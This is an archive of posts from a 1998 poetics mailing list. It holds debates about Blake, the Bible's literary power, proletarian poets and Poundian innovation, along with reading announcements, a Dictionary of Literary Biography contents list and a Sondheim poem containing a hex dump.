On Thu, 6 Aug 98 Henry Gould writes

> *Imagine a hydrahead: Ashberybloomvendler.*
>
> *Imagine a nation of academic journals dedicated to securing tenure for professional poets who run contests and give awards and so on.*
>
> *Imagine a poetry counter-culture of shallow roots, a-historical hokum and spiritual posturing.*
>
> *Then think about Grand Fenwick.*
>
> *There's more poetry in one saying of the Sermon on the Mount than in all the writings of Pound, Olson, Duncan, Creeley, Palmer, etc. put together. Am I impinging on your territory? I will lift mine eyes unto the hills, whence cometh my strength.*

> *Henry Gould*

In 1804 , ' To justify the Ways of God to Men', The Author & Printer W Blake, writes:

> *The Stolen and Perverted Writings of Homer & Ovid: of Plato & Cicero. which all Men ought to contemn: are set up by artifice against the Sublime of the Bible. but when the New Age is at leisure to Pronounce; all will be set right: & those Grand Works of the more ancient & consciously & professedly Inspired Men, will hold their proper rank, & the Daughters of Memory shall become the Daughters of Inspiration. Shakspeare & Milton were both curbd by the general malady & infection from the silly Greek & Latin slaves of the Sword.*
>
> *Rouze up O Young Men of the New Age! set your foreheads against the ignorant Hirelings! For we have Hirelings in the Camp, the Court, & the University: who would if they could, for ever depress Mental & prolong Corporeal War. Painters! on you I call! Sculptors! Architects! Suffer not the fash[i]onable Fools to depress your powers by the prices they pretend to give for contemptible works or the expensive advertizing boasts that they make of such works; believe Christ & his Apostles that there is a Class of Men whose whole delight is in Destroying. We do not want either Greek or Roman Models if we are but just & true to our own Imaginations, those Worlds of Eternity in which we shall live for ever; in Jesus our Lord.*

(from 'preface' to MILTON)

Henry,

You call it "my territory". But is this anything so new? The 'new age' has arrived? Or didn't Blake recognize this 194 years ago? I haven't read much of Blake's -Milton- but Is this territory you are proclaiming as "my territory", also a territory which shares a boundary with the ignorant 'hirelings' who don't recognize the 'proper rank' of the 'writings of Pound, Olson, Duncan, Creeley, Palmer, etc.'?

For example, are you espousing along with Blake that their writings seem like 'artifice' when compared to the 'sublime' "Sermon on the Mount"? So the so-called 'counter-traditionalists' along with the AshberybloomVendler School of Social Research are only making 'expensive advertizing boasts' and your territory is the only way to be 'just & true' to our own Imaginations ? Hey who's to say you are not on target Henry : yours being the 'Bow' to Blake's' Lyre'.

I'm not wanting to come off here like a smart-ass : Are you being serious? I mean, this seems to be the way, both implicitly and explicitly, your statements are to be taken. At the same time, are you saying also that yours is 'just &

true' way, which is what Blake is calling our Imaginations? Am I mis-reading your statements?

The boastful side of me wants to proclaim: What are you getting at? What in the sam heck are you talking about? !! In some sense , what you are calling 'my territory' is an awfully silly boast. Don't you think?

Chris

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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254. Aldon Nielsen
where in the world is Aldon Nielsen
Sun 9 Aug 1998

Before any number of listees send Bill any number of my past addresses, let me advise all and sundry that the best way to reach me is at my office:

Department of English
Loyola Marymount University
7900 Loyola Blvd.
Los Angeles, CA 90045-8215

Let me also beg the forgiveness of any who may have sent material to any of my proliferating addresses in San Jose, Boulder and the prior Los Angeles -- I am in the process of collecting old mail from all over the place -- much of which I will actually answer -- It's been a mobile few years, but I'm now fairly well planted -- I'm only living in two cities now, and the job looks to remain stable for a time --

living on the faultline,
aldon

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255. Tom Beard
Re: Oh henry bookmaking comment
Sun 9 Aug 1998

Hi All,

I just had a rejection letter from a mainstream journal, and it was interesting because most of the criticisms were actually nice summaries of exactly what I'm after in poetry (e.g. "It sounds like something crucial, or even heartfelt, is trying to be expressed, but it gets lost in a sea of slippages" - I like that "Sea of Slip-pages" bit, it would make a good book title). Anyway, that old hobby horse

"clarity" gets dragged out for another thrashing, and Ryan's comment about type being performative reminded me of just how inappropriate such optical metaphors (clear or unclear, opaque or transparent) are when it comes to describing language.

> *There are some poems that do great things on a photocopied page. I try to remember with my work on Aporia that the type itself is performative.....*

Words are always obscure: they work by obscuring part of the page, and it's the pattern of obscuration that (per)forms the poem. If I wanted my words to be clear, I'd have to write in invisible ink.

Tom.

(another gem from the rejection letter was "just what is the reader supposed to make of the last stanza?" Heck, don't ask me, I'm just the author.)

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256. Charles Bernstein
Hannah Weiner Tribute
Sun 9 Aug 1998

Hannah Weiner: A 70th Birthday Memorial Tribute

4pm, Saturday, November 7, 1998
The Poetry Project
St. Mark's Church
10th Street and Second Avenue, New York

Charles Alexander
Bruce Andrews
Charles Bernstein
Lee Ann Brown
Abigail Child
Maria Damon
Tina Darragh
Alan Davies
Maurice Finegold
Ernesto Grosman
Bob Harrison
Michael Heller
Herny Hills
Peter Inman
Andrew Levy
Jackson Mac Low
Sharon Mattlin

Bernadette Mayer
Douglas Messerli
Phill Niblock
Nick Piombino
Joan Retallack
Barbara Rosenthal
James Sherry
Ron Silliman
Ann Tardos
Fiona Templeton
Lewis Warsh
Barrett Watten

Organized by Charles Bernstein, Lee Ann Brown, Andrew Levy

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257. **David Baratier**
Re: Oh henry bookmaking comment
Sun 9 Aug 1998

I do not believe a specific sense of Mallarme ala benchmark was invoked, but rather a benchmark like I slept here, or at some future point, "when Mark lived in Colorado the such and such movement and yadda, yadda," A Timeline, I mean. Or locus solus. I'm curious Mark, what is "the ideology of innovation" you mention, I am taking it that one person would not be attributable solely for an innovation. My view is biased though by wanting an attributation to a group rather than an individual. Or do you mean a McGann type of indeterminacy (no such thing as authored text but rather textual evidence toward that ideal)? Or is it more how "make it new" threads through the past, a culmative effect?

In semantics, if that which is meant or pointed to is unclear it may be called the reference (librarian tie in).

Be well

David Baratier

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258. **maz881**
Re: Me "on" list
Mon 10 Aug 1998

---

hi Dot.

agreement about Karen Kelley. you should if you haven't check out her Her Angel from singing horse press. it's kind of an erotic psychodrama. i mean if kevin davies were a freudian . . .

" 1) Cereal lobsters do not taste very strong
  2) My senses have been dulled
     about 90% by the blast"

Bill

<<Date: Sat, 8 Aug 1998 20:34:18 -0700
From: Dorothy Trujillo <[redacted]>
Subject: Re: ME "on" list

Hey Joe! Nice to hear from you. Yeah, Charles WAS great. Just got a nice message from Bill Luoma remembering him. Thamx too,Bill & aloha.

As for being "on" the list--it's an odd thing really, I'd not thought of doing postings and such--I only just figured out how to do them (apologies to any for any errors of form &c)--in this instance,however,because of our friend Charles, there somehow seemed to me a need for a response in a public testimony.

Umm--well--what do I "think". Well I'm mostly on this list for access to information and the movement of information that is of some concern to the Kootenay School of Writing (ie:there is a posting that a writer we'd be interested in coming to x location & maybe we can get that person as well on the same trip) & personally, to see what other people are nattering on poetics. I found Karen Kelley contra Yau fictive gal consciousness pretty interesting and all the Pvt Ryan stuff,particularly the earlier responses and I believe Maxine Chernoff initiating the discussion. But by the time they were all on about which way they wanted to die, I admit that I too was thinking of which way I wanted them to die. There are quite a few of you out there with a much more philosophical bent than I am rather impressed in my pit of willful ignorance--go for it--looks good to ME anyway.

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Dorothy Trujillo Lusk <[redacted]>
>>

↑ Index

259. **toddbaron**
Re: Hannah Weiner Tribute
Mon 10 Aug 1998

---

anyone have an address for Lee Ann Brown?

or--if you "are" lee ann brown--
please e-maiul todd baron
here. unless you "are" todd abron
in which case e-mail j.l. borges..
unless of course you are.....rod serling
or ted berrigan...

TB
(ReMap)

↑ Index

260. **rsillima**
Doling out the prole
Mon 10 Aug 1998

Tom,

Your missive (reprinted below for those whose short term memory was left behind in the 1960s) brings up the age-old (50 years at least) problem of class background, class stance and class position. It's possible for somebody to fall into any one of those categories -- Engels the factory owner, for example -- and imagine himself as part of some version of a classically defined proletariat. "We are the world," etc.

While it's always useful to look at specifics (as in "X was the child of the professional-managerial class, but by becoming a poem became downwardly mobile"), it's never been that useful overall to get into pissin' contests over which conceptualization of the working class (or, as one Steve McCaffery poem I believe has it, the "wukking class") is being bandied about, and as we move into an ever later capitalism I notice the term being used with less and less clarity and specificity every day.

Ron Silliman

Date: Sun, 9 Aug 1998 10:40:01 -0500
From: trbell <[redacted]>
Subject: proletarian _Glamour

My reading about early Russian Futurism leads me to ask:
What is a proletarian poet?
Is this someone with a proletarian backgroun?

Is this someone who writes for (on behalf of politically) the proletariat?
Is this someone who writes for the proletariat's enjoyment (for the working woman, for the college educated woman, for the academic, etc.?)

tom bell

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261. henry
Re: my territory
Mon 10 Aug 1998

responding to Lee Christian & Mark DuCharme - I called it my territory in response to Rachel Loden's sensible "territorializing" post. I don't know about Blake, but I do believe several strands of modernist poetry (Pound, Williams, Olson, & their heirs), while claiming a "historical" angle of vision, somehow leave out the whole impact of Judeo-Christianity on Western culture (except in negative terms). This is probably an endlessly debatable & somewhat dead-end issue so let's just leave it there. Secondly, & relatedly, I do happen to think that the poetic-narrative dramatic impact of the Bible - the sermon on the mount, say, placed in its dramatic context - that impact has been incredible. so powerful that individual artists sometimes need to shield their eyes from all the cultural predispositions & impressions in order to create their own work. This too is a huge issue for blab... & I will continue creating my "list-image" as reactionary religious fanatic egomaniac. But when I say that "one saying" from the Sermon on the Mount trumps all the poets I listed for poetic power, it's not pure exaggeration. Start reading the Bible say - Genesis to the "New Testament" - see if you don't agree. This is not evangelizing on my part. I'm talking about literary impact.

Mark - why does making controversial - perhaps scandalous! - statements on the list mean I have a big ego? Maybe I do - but mainly I just like to mindfuck people with wild ideas, when I'm not into boring them to tears.

- henry Gould

↑ Index

262. Robert Archambeau
EP, Spit Laureate
Mon 10 Aug 1998

This just in from Slate magazine's "culturebox" (there's a term worth thinking about):

Winning Entry, The Spiterature Contest:

Seamus Patrick writes:

I have never seen anything meaner (nor agreed with anything more) than Ezra Pound's "take" on A. E. Housman:

> Mr. Housman's Message
>
> O woe, woe,
> People are born and die,
> We also shall be dead pretty soon
> Therefore let us act as if we were dead
> Already.
>
> The bird sits on the hawthorn tree
> But he dies also, presently.
> Some lads get hung, and some get shot.
> Woeful is this human lot.
> Woe! woe, etcetera....
>
> London is a woeful place,
> Shropshire is much pleasanter.
> Then let us smile a little space
> Upon fond nature's morbid grace,
> Oh, woe, woe, woe, etcetera....

Culturebox's note: Was Housman Pound's mentor? Culturebox doubts it, though she doesn't actually know. It doesn't matter. Patrick has correctly identified a masterpiece of spiterature: literature as a projectile of spit, composed in the spirit of spite.

↑ Index

263. F. W. Perrella

Web Del Sol - Quictions, In Posse Review

Mon 10 Aug 1998

Two new items at Web Del Sol's What's New Page:

http://webdelsol.com/solhome.htm

The summer issue of North American Review is up, featuring short-short "quictions", among other things - have a look, enjoy, opine, (subscribe to the paper version!)

A new fiction zine debuts, too: In Posse Review, edited by LuAnn Kaiser, seeks to publish the best fiction online, along with hybrid forms such as flash fiction and prose poetry. Essays and drama works are also sought.

Browse, peruse, comment, question, visit again - thanks!

Anne Perrella

↑ Index

264. Michael Coffey
Welcome Message -Reply
Mon 10 Aug 1998

---

this is [redacted]

i am having a problem with the reciept of poetcis list mail; it is this: in my in box, messages are identified as only "from" ub POETICS DISCUSSION; as a result, I don't at first glance know who on the list has posted the msg; and if they person does not sign the msg, then i never know who sent it; about 6 months ago, it was different; it would say in my inbox under From: Charles Bernstein, or Rsilliman, or whatever.

i am told that this might be fixable at your end. can you?

↑ Index

265. Lawrence Upton.
Programme for Sub Voicive Poetry, London, Autumn 98
Mon 10 Aug 1998

The paper sub voicive poetry mailshot is prepared and will be sent out in a little while. But here for the wired in is the list for the coming season. Apologies for cross-posting

Tue 22 9 98 Robert Sheppard / Keston Sutherland

Tue 6 10 98 Karlien van der Beukel / John Wilkinson

Tue 20 10 98 Rob Mackenzie / Anselm Hollo

Tue 3 11 98 Ken Edwards / Andy Brown

Tue 17 11 98 Will Rowe / + other(s) to be announced

Tue 1 12 98 Quick Hits 98 - a range of poetry,
a gathering of poets

All readings take place upstairs the three cups sandland street london wc 1 at 8 pm still only L5 or L2.50 despite the need to curb spending

↑ Index

266. Laura E. Wright
Re: proletarian _Glamour
Mon 10 Aug 1998

trbell wrote:

> *My reading about early Russian Futurism leads me to ask:*
> *What is a proletarian poet?*
> *Is this someone with a proletarian backgroun?*
> *Is this someone who writes for (on behalf of politically) the proletariat?*
> *Is this someone who writes for the proletariat's enjoyment (for the working woman, for the college educated woman, for the academic, etc.?)*
>
> *tom bell*

A poet who has to work for a living?

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan
  * * * * * *
"It is very much like it" -- Gertrude Stein

↑ Index

267. Charles Bernstein
Writer on Line Interview
Mon 10 Aug 1998

There is a two part interview that I did with Dana Luther on issues related to the recent collection I edited, Close Listening: Poetry and the Performed Word (Oxford University Press).

Part one: http://novalearn.com/wol/dana8.htm
Part two: http://novalearn.com/wol/archives/dana7.htm

(these links are also in place at my home page at the EPC)

↑ Index

268. Dorothy Trujillo
Re: Doling out the prole
Mon 10 Aug 1998

At 07:42 AM 8/10/98 -0500, you wrote:
>Tom,
>
>Your missive (reprinted below for those whose short term memory was left
>behind in the 1960s) brings up the age-old (50 years at least) problem of
>class background, class stance and class position. It's possible for
>somebody to fall into any one of those categories -- Engels the factory
>owner, for example -- and imagine himself as part of some version of a
>classically defined proletariat. "We are the world," etc.
>
>While it's always useful to look at specifics (as in "X was the child of the
>professional-managerial class, but by becoming a poem became downwardly
>mobile"), it's never been that useful overall to get into pissin' contests
>over which conceptualization of the working class (or, as one Steve
>McCaffery poem I believe has it, the "wukking class") is being bandied
>about, and as we move into an ever later capitalism I notice the term being
>used with less and less clarity and specificity every day.
>
>Ron Silliman
>
>RE: Pissing contests. Yeah, it's really quite bad enough whilst a prole on
the dole to be analysed by those not yet laid off as 'surplus labour' but I
think 'potentially fascistic lumpen' really dose add insult to injury,
specifically.

Dorothy Trujillo Lusk
>
>
>Date: Sun, 9 Aug 1998 10:40:01 -0500
>From: trbell <[redacted]>
>Subject: proletarian _Glamour
>
>My reading about early Russian Futurism leads me to ask:
>What is a proletarian poet?
>Is this someone with a proletarian backgroun?
>Is this someone who writes for (on behalf of politically) the
>proletariat?
>Is this someone who writes for the proletariat's enjoyment (for
>the working woman, for the college educated woman, for the

>academic, etc.?)
>
>tom bell
>
>

↑ Index

269. **charssmith**
Baude/Grenier
Mon 10 Aug 1998

In a message dated 98-08-07 09:13:51 EDT, you write:

<< The article was written by Dawn Michelle Baude. >>

... who a week ago, read w/ Bob Grenier at Cody's in Berkeley. Anyone in the bay area catch it? I'm curious how Bob's thaaang played there. Last time I was saw him was abt 3 yrs ago in Sonoma -- steadfastly refusing to "read" any of the scrawl poems he was projecting w/ an overhead -- & Joanne Kyger heckling from the back, "C'mon Bob, read us a PO--EM" & Bob just grinning, inviting audience to decipher, which quite a few, Mr. Bromige, proceeded to do.

--cs

↑ Index

270. **Mark DuCharme**
Re: proletarian _Glamour
Mon 10 Aug 1998

Right on, sister Laura!

--Mark DuCharme, via workplace computer

Laura Wright wrote

> *trbell wrote:*
>
> *My reading about early Russian Futurism leads me to ask:*
> *What is a proletarian poet?*
> *Is this someone with a proletarian backgroun?*
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> *Is this someone who writes for the proletariat's enjoyment (for the working woman, for the college educated woman, for the academic, etc.?)*
>
> *tom bell*

> *A poet who has to work for a living?*
>
> *--*
> *Laura Wright*
> *Library Assistant*
> *Allen Ginsberg Library, The Naropa Institute*
> *2130 Arapahoe Ave*
> *Boulder, CO 80302*
> [redacted]
> * * * * * *
> *"All music is music..." -- Ted Berrigan*
> * * * * * *
> *"It is very much like it" -- Gertrude Stein*

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↑ Index

271. **MAYHEW**

Why I am not a Marxist

Mon 10 Aug 1998

I got my books from Spain today that I sent myself a few weeks ago. Here is a poem by Jorge Riechmann (this is not a hoax):

"Je ne suis pas Marxiste" (Karl Marx)

Until 1939 I was a Marxist.
Then I became
a Marxist.

I was a Marxist until 1956.
But the events of that year
shook up many of my certainties
and I became a Marxist.

So things went on. Universal history
beat me up once more on purpose
and that same year
I was transformed into a Marxist.

In spite of everything I was a Marxist
until 1989. For some ideologues
the end of history, for me the year
when I definitively
succeded in becoming a Marxist.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

272. Mark DuCharme
Re: Oh henry bookmaking comment
Tue 11 Aug 1998

Dave, by "ideology of innovation" I was crudely trying to express something that I think Henry may be reacting against, a notion that I think was expressed by Pound (I don't have the book at hand), & went something like: there are poets who are inventors, & others who come along & refine the raw work derived from those "inventions," & still others who come along & are just derivative without refining or adding anything new. This is in ABC of Reading, & you'll have to excuse me if I don't remember the exact quote &/or can't express the fullness of Pound's thought just at this wee hour of the evening.

I like your sense of "a benchmark like a slept here." In that sense, maybe, we should all be sleeping around.

I also agree that I prefer to attribute anything to the group more than the individual. All I was trying to convey is that any notion of innovation which implies this sort of Poundian "progress" isn't something I subscribe to.

Best,

Mark DuCharme

>
>I do not believe a specific sense of Mallarme ala benchmark was invoked,
>but rather a benchmark like I slept here, or at some future point, "when
>Mark lived in Colorado the such and such movement and yadda, yadda," A
>Timeline, I mean. Or locus solus. I'm curious Mark, what is "the
>ideology of innovation" you mention, I am taking it that one person
>would not be attributable solely for an innovation. My view is biased
>though by wanting an attributation to a group rather than an individual.
>Or do you mean a McGann type of indeterminacy (no such thing as authored
>text but rather textual evidence toward that ideal)? Or is it more how

>"make it new" threads through the past, a culmative effect?
>
>In semantics, if that which is meant or pointed to is unclear it may be
>called the reference (librarian tie in).
>
>Be well
>
>David Baratier
>

_____
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273. Mark DuCharme
Re: my territory (anyone for list-Imagism?)
Tue 11 Aug 1998

Henry,

I didn't mean to seem to characterize your ego. I wasn't trying to comment on _you_, but on your post-- the "my" of "my territory."

As for the Bible, I'll admit I lack an appreciation of most of it, but not for lack of having read a good bit in my parochial schoolboy days. Perhaps I should read it again, but I do find Williams more engaging.

Mark (cultivating a "secular humanist" egomaniac "list-image") DuCharme

P.S.: keep the wild ideas coming

>responding to Lee Christian & Mark DuCharme - I called it my territory
in
>response to Rachel Loden's sensible "territorializing" post. I don't
know
>about Blake, but I do believe several strands of modernist poetry
(Pound,
>Williams, Olson, & their heirs), while claiming a "historical" angle of
>vision, somehow leave out the whole impact of Judeo-Christianity on
>Western culture (except in negative terms). This is probably an
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>debatable & somewhat dead-end issue so let's just leave it there.
>Secondly, & relatedly, I do happen to think that the poetic-narrative
>dramatic impact of the Bible - the sermon on the mount, say, placed in
its
>dramatic context - that impact has been incredible. so powerful that

>individual artists sometimes need to shield their eyes from all the
>cultural predispositions & impressions in order to create their own
work.
>This too is a huge issue for blab... & I will continue creating my
>"list-image" as reactionary religious fanatic egomaniac. But when I
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>that "one saying" from the Sermon on the Mount trumps all the poets I
listed
>for poetic power, it's not pure exaggeration. Start reading the Bible
>say - Genesis to the "New Testament" - see if you don't agree. This is
>not evangelizing on my part. I'm talking about literary impact.
>
>Mark - why does making controversial - perhaps scandalous! - statements
on the
>list mean I have a big ego? Maybe I do - but mainly I just like to
>mindfuck people with wild ideas, when I'm not into boring them to
tears.
>
>- henry Gould
>

_____
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274. Mark DuCharme
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>mindf..k people with wild ideas, when I'm not into boring them to
tears.
>
>- henry Gould
>

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275. **Alan Jennifer Sondheim**
(no subject)
Tue 11 Aug 1998

-

I am stale; there is nothing to ail
this body that has not done its damage
much as this body has done homage
to language, pillage which is stale
as in before, when you have read it
whispered in my ear; then I'd write it,
no need to read it further, you'd been bit
by what you steer to me; then through me,
back again, that's what is stale, theor-
y, me, and you, binding without fail
what would unglue me, become stale, fear
it winding that trail, cuing the near-
ly stale or train of mind, cycle and rail,
what could entail a natural kind.

m y life o o z i n g
0000000 0a0a 2069 6970 7373 6120 6c6c 6f20 6576
0000010 2072 6f79 7275 7020 6e61 6974 7365 6a20
0000020 6e65 696e 6566 2072 6f79 2075 7473 6675
0000030 2066 6874 6d65 6920 206e 796d 6d20 756f
0000040 6874 670a 6761 6d20 2065 6977 6874 6e20
0000050 6b69 6b75 276f 2073 6577 2074 6167 7472
0000060 7265 2073 6c73 626f 6562 2072 6c73 626f
0000070 6562 2072 6f6d 7475 2068 7566 6c6c 6f20
0000080 0a66 756a 756c 7327 6d20 6e65 6573 2073
0000090 7264 7069 6970 676e 6420 776f 206e 796d
00000a0 7320 616f 696b 676e 6320 6568 7473 6920
00000b0 6c20 766f 2065 7573 6b63 6e69 2067 6977
00000c0 6874 6d0a 2079 6f6d 7475 2068 7566 6c6c
00000d0 6f20 2066 6c61 6e61 6a2d 6c75 2d75 656a
00000e0 6e6e 6669 7265 6e2d 6b69 6b75 0a6f
00000ee

in these lost moments
in my dark oozings
in my life oozing
dark moments away
now to defend myself
additions and extra digits
clawing against a final stroke
of brush-wielding nikuko
or pen-wielding jennifer, say

pencil and julu, keyboard and alan
say say say say say

↑ Index

276. Michael Magee
Re: EP, Spit Laureate
Tue 11 Aug 1998

For a brilliantly mean dismissal of a contemporary I've always liked Nietzsche's dismissal of Carlyle as "The philosophical equivalent of dyspepsia." -m.

According to Robert Archambeau:
>
> This just in from Slate magazine's "culturebox" (there's a term worth
> thinking about):
>
> ----------
> Winning Entry, The Spiterature Contest:
>
> Seamus Patrick writes:
>
> I have never seen anything meaner (nor agreed with
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> Housman:
>
> Mr. Housman's Message
>
> O woe, woe,
> People are born and die,
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> Therefore let us act as if we were dead
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>
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> Some lads get hung, and some get shot.
> Woeful is this human lot.
> Woe! woe, etcetera....
>
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> Then let us smile a little space
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> Oh, woe, woe, woe, etcetera....
>
> Culturebox's note: Was Housman Pound's mentor? Culturebox doubts it,
> though she doesn't actually know. It doesn't matter. Patrick has
> correctly identified a masterpiece of spiterature: literature as a
> projectile of spit, composed in the spirit of spite.
>

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277. henry g
Re: my territory (anyone for list-Imagism?)
Tue 11 Aug 1998

On Mon, 10 Aug 1998 22:27:05 PDT Mark DuCharme said:
>Henry,
>
>As for the Bible, I'll admit I lack an appreciation of most of it, but
>not for lack of having read a good bit in my parochial schoolboy days.
>Perhaps I should read it again, but I do find Williams more engaging.

Mushing & chatting about poetry & religion in a shallow way is a desecration of both. Or at least an over-simplification. There are cultural dimensions of experience irreducible to uninformed chit-chat. So my off-the-cuff remarks are like a swine casting himself before pearls. But I have found the essays & work of Welsh poet David Jones provide a perspective on some of the issues that fascinated Pound & the whole American experimental tradition - a very different perspective which feels less alien to me. See his essays on Welsh culture & modern technocracy, art in relation to war, art & sacrament. His concepts of religion as sign-making, of man as sign-making animal, of the relations between the useful & the "extra-utile", the technical & the beautiful-in-itself, the marginalisation of all art (the extra-utile) in modern times, art as form reflecting wholeness, and so on. Jones could be thought of as a sort of relic in a way - of Welsh culture as the remnant of "native" life analogous to Native American culture in America - and a person caught up in watching the techno-globalization-commercialisation of all life as a direct threat to Welsh culture & language. But he is also an english-native-speaker brought up in London, a representative of "European" traditional (Christian) culture, and a veteran of WW I whose war experience shaped all his writings. His essays provide some sharp critical insight on some of the marginal-experimental questions which occupy this list, because he reflects on poetry from a perspective on art & mankind in general

which stretches way back - but on a very different trail than say Olson or Duncan. But different from Eliot's or Yeats's pomposities as well. - Henry Gould

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278. daniel bouchard
Washington DC area reading
Tue 11 Aug 1998

HOT AUGUST NIGHT

Saturday, August 15
Backyard Reading
at 7 p.m.:

DOUGLAS ROTHSCHILD
and
DANIEL BOUCHARD

@ the house of Carol Mirakove
in Arlington, Virginia

For info., back-channel Carol or Dan--

Carol Mirakove <[redacted]>
Daniel Bouchard <[redacted]>

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<

↑ Index

279. Gwyn McVay
Re: my territory (anyone for list-Imagism?)
Tue 11 Aug 1998

Isn't "mushing and chatting about poetry and religion in a shallow way" a description of the last few decades of Robert Bly's career? (One assumes not MUSHing in caps.)

Meeow,
Neko-chan

↑ Index

280. Robert Archambeau
DLB on Perelman, Watten, Cage etc
Tue 11 Aug 1998

The latest volume of the Dictionary of Literary Biography just clunked through my mail slot, and it looks like the most experiment-friendly volume ever. Okay, I wrote something for it, and okay, "the most experiment-friendly DLB" may sound like the rough equivalent of "the world's tallest pygmie," but check out some of the poets covered...

Full contents consists of essays on:

Michael Anania by Robert Archambeau
Rae Armantrout by Ann Vickery
David Bromige by Charla Howard
John Cage by Rod Smith
Anne Carson by Steven Marks
Clark Coolidge by Bruce Campbell
Cid Corman by William Walsh
James Dickey by Ronald Baughman
Robert Duncan by George F. Butterick & Robert J. Bertholf
Larry Eigner by Benjamin Friedlander
Carolyn Forche by Constance Coiner
Alice Fulton by Sergei Lobanov-Rostovsky
Allen Grossman by Gary Roberts
Barbara Guest by Sara Lundquist
Carla Harryman by Chris Stroffolino
Ann Lauterbach by James McCorkle
Jackson Mac Low by Bruce Campbell
Eileen Myles by Patrick F. Durgin
Frank O'Hara by George F. Butterick & Robert J. Bertholf
Mary Oliver by Susan Marie Powers
Charles Olson by George F. Butterick & Robert J. Bertholf
Joel Oppenheimer by George F. Butterick & Robert J. Bertholf
Bob Perelman by Steve Evans
Stanley Plumly by Steve Evans
Carl Rakosi by Elizabeth Losh
Jerome Rothenberg by Jed Rasula
Leslie Scalapino by Elizabeth A. Frost

Jack Spicer by Edward Halsey Foster
John Taggart by Mark Scroggins
Mary TallMountain by Gabrielle Welford
Barrett Watten by Jacques Debrot
Harriet Zinnes by Eric & Melissa Williamson

I mean, Yee-Hah! I'm not leaving my office for a week with all this to go through.

What say we all get together and carry the editor, Joseph Conte, through the streets of Buffalo while singing his praises?

(The best part of all this is that most big libraries get the DLB, so you should be able to get your hands on this).

Bibliographic info

Dictionary of Literary Biography vol. 193, American Poets Since World War Two (sixth series). Detroit: Gale Research, 1998.

Robert Archambeau

↑ Index

281. Robert Archambeau
PS to DLB
Tue 11 Aug 1998

Almost forgot to mention -- p. 23 includes rare photo of David Bromige at 2 years of age. Awwwww....

Bob

↑ Index

282. Herb Levy
Subtext readings (Seattle)
Tue 11 Aug 1998

Hi all,

Here are the Subtext readings scheduled for summer into fall 1998. All readings start at 7:30 pm in the back room of the Speakeasy Cafe, 2304 2nd Ave in Seattle's restaurant and condo-loaded Belltown district.

August 20
Lisa Jarnot/Roberta Olson

September 17
Meredith Quartermain/Robert Mittenthal

October 15
Rob Manery/Brian Carpenter

November 19
Will Alexander/Laynie Browne

Also of note at Bumbershoot (a local "festival" over Labor Day weekend) a reading by Robin Blaser, Ed Friedman, Joel Lipman, Dan Raphael, Belle Randall, Norman Weinstein late on Monday afternoon.

Bests,

Herb

Herb Levy
[redacted]

↑ Index

283. Laura E. Wright
query
Tue 11 Aug 1998

Does anyone out there happen to know of any texts that address Poe's influence on Ginsberg?
(helping a friend do some research)
Backchannel PLEASE

Laura W.
--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *

"All music is music..." -- Ted Berrigan
* * * * * *

"It is very much like it" -- Gertrude Stein

↑ Index

284. Carolyn Guertin
Electronic Book Review: new issue
Tue 11 Aug 1998

If not sure if this has been announced yet or not, but

Electronic Book Review 7
image + narrative: part two
is now online...

<http://altx.com:80/ebr>

Including work by Janet Murray, J. Hillis Miller, Loss Pequeño Glazier, Raymond Federman, Stephanie Strickland, etc., etc.

_____
Carolyn Guertin, Department of English, University of Alberta
E-Mail: [redacted]; Tel/FAX: [redacted]
Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>
See bees: <http://www.temporalimage.com/beehive/index.html>

↑ Index

285. acgold01
Black Sparrow address
Tue 11 Aug 1998

Does anyone have a snail-mail address for John Martin at / and Black Sparrow? I need to write him for a reprint permission.

Thanks.

Alan

↑ Index

286. Robert Archambeau
DLB info
Tue 11 Aug 1998

Since I've had quite a few queries backchannel about how to get the new and miraculous DLB volume, here's some information about getting the book:

The publisher's address is:

Gale Research
835 Penobscot Building
Detroit, MI 48226
USA

The book is:

Conte, Joseph, editor. Dictionary of Literary Biography vol. 193, American Poets Since World War Two (sixth series). Detroit: Gale Research, 1998. ISBN is 0-7876-1848-9.

I don't have price info, and the book, still white-hot from the press, isn't listed on Amazon.com yet.

Note that this is the SIXTH SERIES -- Amazon has earlier volumes, also edited by Conte, but they are different books.

Here's the bad news: this is a 12 by 8 inch, 450 page hardcover sold mostly to libraries, so it costs a bundle. I don't have a figure, but the earlier series ran around $100 or $150.

That's a lot of cash, but if you can swing it the book is worth it. An event, a landmark, a big hoo-hah -- words fail me. But if the money is a problem, almost all university libraries will get copies, and the big public libraries tend to take the DLB books, too.

Thanks to all for their interest,

Bob Archambeau

↑ Index

287. David Baratier

snorting up the Pound / Williams line

Tue 11 Aug 1998

Innovators. Pound missed the drunken boat there. The exclamation of Inventio as having a placement above the other four parts of oratory hits me like one saying Pindar's anti strophes are the most important element of a triad, or spacial cogency into irrationality in Demuth's #5 was the primary poignancy of preferring cheese over the milk and macaroni after cooking. I advocate a current mimeticism into mediocrity. Name who we wish. Excogitaire. For those of us who think there might not be.

Be well

David Baratier

↑ Index

288. Jim Andrews
some software for you
Tue 11 Aug 1998

Pardon the non-poetical post please, if such there be, o yes there be, but I've just finished a freeware game perhaps for poets who like puzzles called CoLoRaTiOn at http://www.islandnet.com/~jandrews/MORPHTEA which, though not particularly poetical in any recognizable sense, is, I think, original in concept and design. It can be played by young children, but some of the mathematical issues it raises are unresolved and can be pondered indefinitely.

Regards,
Jim Andrews

↑ Index

289. k.a. hehir
in the key of bp
Wed 12 Aug 1998

A Call for "Wild Things"
>
> In conjunction with "On the H Orizon: bpNichol After Ten"
> An event sponsored by West Coast Line
> Emily Carr Institute of Art and Design
> Granville Island, Vancouver BC
> September 25-26, 1998

For more information contact:
> Glen Lowry, "Wild Things" Co-ordinator email: [redacted]
>
> For information on "On the H Orizon" contact:
> Jacqueline Larson, Managing Editor, West Coast Line, email:
> [redacted]
> phone: 604 - [redacted]
>

